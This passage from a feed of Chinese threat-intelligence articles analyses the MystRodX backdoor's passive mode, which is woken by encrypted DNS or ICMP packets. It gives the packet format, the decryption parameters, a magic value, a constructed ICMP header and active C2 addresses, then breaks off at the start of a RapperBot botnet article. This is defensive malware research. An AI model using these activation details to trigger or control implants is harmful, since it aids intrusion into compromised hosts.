0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">奇安信网络空间测绘鹰图平台的C2探测服务</span></span></strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">，发现了3个仍在活跃的C2服务器，并以技术手段确认在野还存在未被捕获的样本</span>。再考虑到该后门所采用的被动通信机制所带来的高隐蔽特性，我们决定撰写本文，公开相关研究成果，以揭示这一长期存在的威胁，为增强网络安全防御能力提供支持。</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="line-height: 1.75em;"><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">被动后门模式</span></span></p><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">配置中Backdoor Type选项的值为1时，MystRodX开启被动后门模式，它使用RAW SOCKET监听网络流量，可在不使用开放端口的情况下，被特定的DNS或ICMP网络报文激活。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000431" class="rich_pages wxw-img" data-ratio="0.21314741035856574" data-s="300,640" data-type="png" data-w="1506" style="width:100%;" type="block" data-backw="578" data-backh="123" src="https://wechat2rss.xlab.app/img-proxy/?k=b05cffef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiac1uUdYPHBynSY5394k0libsztibrvQrwkbERCfSsATQTAUT5az3PLUfoRggJOXCmVD0a6LgSnxbcg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">激活报文采用了Transform算法加密，解密后的格式为<span textstyle="" style="background-color: rgb(115, 250, 121);color: rgb(0, 0, 0);font-weight: bold;">Magic（4字节）+ Protocol（4字节）+ Port（4字节）+ C2</span>。当 Magic 值比对通过后，MystRodX 便会根据报文中指定的协议类型与C2建立通信，等待接收攻击者的后续指令。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000432" class="rich_pages wxw-img" data-ratio="0.48148148148148145" data-s="300,640" data-type="png" data-w="621" style="width:100%;" type="block" data-backw="578" data-backh="278" src="https://wechat2rss.xlab.app/img-proxy/?k=6d5ca56a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiac1uUdYPHBynSY5394k0libwibApamyXzh4eF1nck1F917utumFyickIcOnsicSrwOGkdIGzTPSFA2LQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">不同于知名的SYNfull Knock后门完全利用TCP协议内部字段以传递指令，MystRodX使用的是一种更为简单的方式，即激活指令隐藏在ICMP 载荷或DNS请求的域名中。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">1: DNS激活报文</span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">首先看一下DNS激活报文，有效的激活报文必须是 www.Domain.com 这种格式</span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000433" class="rich_pages wxw-img" data-ratio="0.49882903981264637" data-s="300,640" data-type="png" data-w="1281" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=8a09865a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiac1uUdYPHBynSY5394k0libqOnVtwicontzXzDlkVxIJr1H1MhH7mibQnhOwBEuYtxZMAIPgXia1qU1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">DomainName使用base64解码后得到以下密文：</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000440" class="rich_pages wxw-img" data-ratio="0.10947562097516099" data-s="300,640" data-type="png" data-w="1087" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=6ae55f30&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiac1uUdYPHBynSY5394k0libg21fTjTnmeSGagRe8LppftGGxJMhKO8iaBqgs5NiaibgXHBSJEK2Yy5GQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">使用Transform算法，magic参数为0x0d，magic2参数为密文的最后一字节 0xaa, key参数为key_for_backdoor进行解密，即可得到以下明文。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000434" class="rich_pages wxw-img" data-ratio="0.06695464362850972" data-s="300,640" data-type="png" data-w="926" style="width:100%;" type="block" data-backw="578" data-backh="39" src="https://wechat2rss.xlab.app/img-proxy/?k=d0de94e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiac1uUdYPHBynSY5394k0libicgXicjy9Wib60e7oFDznibgicDUciax6MwoVoSaWyubDYITkIPqHiaEzicNuA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">按照激活报文格式对明文进行解析，可知</span></p><ul style="list-style-type: circle;margin-left: 32px;margin-right: 32px;" class="list-paddingleft-1"><li><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Magic值为CAT</span></p></li><li><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">协议类型为TCP</span></p></li><li><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">端口为0x1f4a，即8010</span></p></li><li><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">C2为149.28.137.254</span></p></li></ul><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">当Magic通过比对之后，MystRodX就与C2 149.28.137.254:8010建立通信，等待执行其下发的指令。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000435" class="rich_pages wxw-img" data-ratio="0.08130081300813008" data-s="300,640" data-type="png" data-w="1845" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=eae7948e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiac1uUdYPHBynSY5394k0lib9dicHvnnmH6IIj5lib4JsM5wEfNjicJLpicn1k57IgBKhSfgU6GTxXbuBA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">2: ICMP激活报文</span></span></p><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">接着看一下ICMP激活报文，这次我们从正向的角度，构造报文，观察样本的行为。</span></p><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">首先构造一个简单的ICMP ping请求 08 00 00 00 30 39 00 01, 接着构造PAYLOAD，指定C2为192.168.96.1，端口为433，协议使用HTTP。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000441" class="rich_pages wxw-img" data-ratio="0.13535911602209943" data-s="300,640" data-type="png" data-w="1086" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=56c953dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiac1uUdYPHBynSY5394k0libicuZpSkPrtnjGlhLR8hp7FTKmVkWRicm3nFH2NxlibqlOlFlB5H3wQmDw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">然后使用Transform算法，magic2参数设为0x9f对Payload进行加密。最终将ICMP 与 Payload合并，形成以下的ICMP报文。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000436" class="rich_pages wxw-img" data-ratio="0.1695464362850972" data-s="300,640" data-type="png" data-w="926" style="width:100%;" type="block" data-backw="578" data-backh="98" src="https://wechat2rss.xlab.app/img-proxy/?k=4509015f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiac1uUdYPHBynSY5394k0libp4XgonlQzls2Y8mdfwET9RVNGTNA1cZRoAWHBbk4SCyJ2Adibsm8k8g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">当MystRodX收到该ICMP报文后，就会与192.168.96.1:443建立通信连接，发送HTTP格式的上线报文。这和我们的预期完全一致，验证了分析的正确性。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000437" class="rich_pages wxw-img" data-ratio="0.6287878787878788" data-s="300,640" data-type="png" data-w="1056" style="width:100%;" type="block" data-backw="578" data-backh="363" src="https://wechat2rss.xlab.app/img-proxy/?k=3ebe8517&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiac1uUdYPHBynSY5394k0libv68ZWYB7oSATltdxkMIVY8Lskzicb4WuWz89zZ9CldkiaYiaQKp1sPjZQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">深入挖掘</span></span></p><p style="line-height: 1.75em;"><span leaf="">在目前捕获的俩个MystRodX样本中，其配置的C2服务器均未开放有效端口。完成逆向分析后，我们面临一个关键问题：MystRodX究竟是一个仍在活跃的威胁，还是已被彻底废弃？为回答这一问题，我们依托于奇安信网络空间测绘鹰图平台分别从BOT端和C2端进行了一些尝试。</span></p><p style="line-height: 1.75em;"><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">1: 唤醒BOT</span></span></p><p><span leaf="">我们尝试在全网范围内发送DNS/ICMP激活报文，意图唤醒处于被动模式的MystRodX后门，从而定位潜在受害者。遗憾的是，除我们自己的测试IP外，并未收到任何有效上线响应。造成这一现象的原因可能包括：在野MystRodX样本并未启用被动后门模式，或者样本使用了新的密钥、Magic值等配置，导致我们发出的激活报文未能匹配生效。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">2: 探测C2</span></span></p><p style="line-height: 1.75em;"><span leaf="">借助活跃C2探测服务的支持，我们成功发现3个仍在活跃的在野C2服务器。</span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="line-height: 1.75em;"><span leaf="">149.28.137[.]254</span></p></li><li><p style="line-height: 1.75em;"><span leaf="">156.244.6[.]68</span></p></li><li><p style="line-height: 1.75em;"><span leaf="">185.22.153[.]228</span></p></li></ul><p><span leaf="">这些服务器对上线报文做出了响应，向Bot回复7号指令，要求开启流量加密。它们从2024年活跃至今，证明了MystRodX威胁的持续存在。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000438" data-ratio="0.1162280701754386" data-s="300,640" type="block" data-type="png" data-w="1368" src="https://wechat2rss.xlab.app/img-proxy/?k=3fda6ee0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiac1uUdYPHBynSY5394k0libsaGA6rMmFEYIH2SH85Z00gdxETr3jLjd9icPAngM9Eic49yicnz2riaSBQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">在MystRodX的配置项中包含一组RSA公钥，用于解密7号指令。攻击者通常会在不同活动中部署不同的公钥，目前已发现的两个公钥分别用于“neybquno”和“zoufkcfr”活动。在7号指令报文中，偏移0x110处长度为256字节的部分为MagicString的密文。只有当该密文经解密后得到的MagicString与样本中硬编码的字符串 0x68abut 完全一致时，MystRodX才会尝试开启流量加密。<span textstyle="" style="font-weight: bold;">利用这一特性，可以判断某个C2是否用于已知的攻击活动。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000439" class="rich_pages wxw-img" data-ratio="0.46649484536082475" data-s="300,640" data-type="png" data-w="776" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=0416ef29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiac1uUdYPHBynSY5394k0libBibwX48DAbSQ87gBDmUFRMddemk7c6a9B2hCjTQqJ8cwdfAEhglRKIQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">在新捕获的三个活跃C2服务器中，仅149.28.137.254下发的7号指令能够被已知公钥成功解密。这一现象表明，另外两个C2（156.244.6.68与185.22.153.228）应归属于某次尚未知晓的攻击活动，意味着<span textstyle="" style="background-color: rgb(115, 250, 121);font-weight: bold;">当前在野环境中肯定存在尚未被捕获的MystRodX样本</span><span textstyle="" style="background-color: rgb(115, 250, 121);">。</span></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">由于篇幅原因，本文只介绍了MystRodX最有意思的被动后门模式，想要了解更多技术细节的读者可以访问XLAB Blog，上面详细地分享我们的发现&amp;分析旅程。</span></span></p><blockquote><p><span leaf=""><a href="https://blog.xlab.qianxin.com/mystrodx_covert_dual-mode_backdoor/" target="_blank">https://blog.xlab.qianxin.com/mystrodx_covert_dual-mode_backdoor/</a></span></p></blockquote><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 20px;">或者点击下方的</span><span textstyle="" style="font-size: 20px;font-weight: bold;">阅读原文</span>，想了解更多内幕花絮，或有独家线索的读者，可以通过公众号给我们留言。</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://blog.xlab.qianxin.com/mystrodx_covert_dual-mode_backdoor">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2085479e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484093%26idx%3D1%26sn%3D830282cdd26681db43d723364c52f1c5">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 27 Aug 2025 17:04:00 +0800</pubDate>
    </item>
    <item>
      <title>僵尸永远不死：RapperBot僵尸网络近况分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484077&amp;idx=1&amp;sn=c6723e67cd8348272ace7045dfb89f21</link>
      <description>概述RapperBot 是一个活跃的僵尸网络家族，最早由 CNCERT 于 2022 年 7 月公开并命名。</description>
      <content:encoded><![CDATA[<p>
原创 <span>奇安信X实验室</span> <span>2025-06-17 17:25</span> <span style="display: inline-block;">北京</span>
</p>

<p>概述RapperBot 是一个活跃的僵尸网络家族，最早由 CNCERT 于 2022 年 7 月公开并命名。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e87318f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbgPafDFOcVymk9tXXYgQBsKmVvsSQWDd2kgvicib69gNjzedazwPqZblZCcRytR9KxZYkX6SiaD5sjJA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">概述</span></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">RapperBot 是一个活跃的僵尸网络家族，最早由 CNCERT 于 2022 年 7 月公开并命名。FortiGuard Labs 在 2022 年 11 月的报告中将其活动时间追溯至 2021 年。2025 年 2 月，RapperBot 参与了针对 Deepseek 的攻击；自 3 月起其攻击行为显著活跃，日均攻击目标超过百个，观测到的 bot 数量超过 5 万。</span></span></p><div><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">该家族不仅持续迭代，还在样本中留下了带有挑衅意味的信息。例如，样本中曾留下未使用的字符串</span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><p><span leaf=""><span class="code-snippet__attr">https</span>:<span class="code-snippet__comment">//www.youtube.com/watch?v=4fm_ZZn5qaw</span></span></p></pre></p><div><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">该Youtube视频的内容是一首Rap歌曲《I Am Da Bag》。一些样本中还留下字符串要求关注rapper2tallforfood。也曾向逆向工程师询问是否在分析其样本时听了其音乐，并公然挑衅我们的前团队 </span></span><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">NETLAB360</span></span></p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">。</span></span></div><div><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 16px;">它甚至承诺将在下次更新中“留下新消息”，但遗憾的是我们未再收到，样本中的留言信息如下：</span></span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino 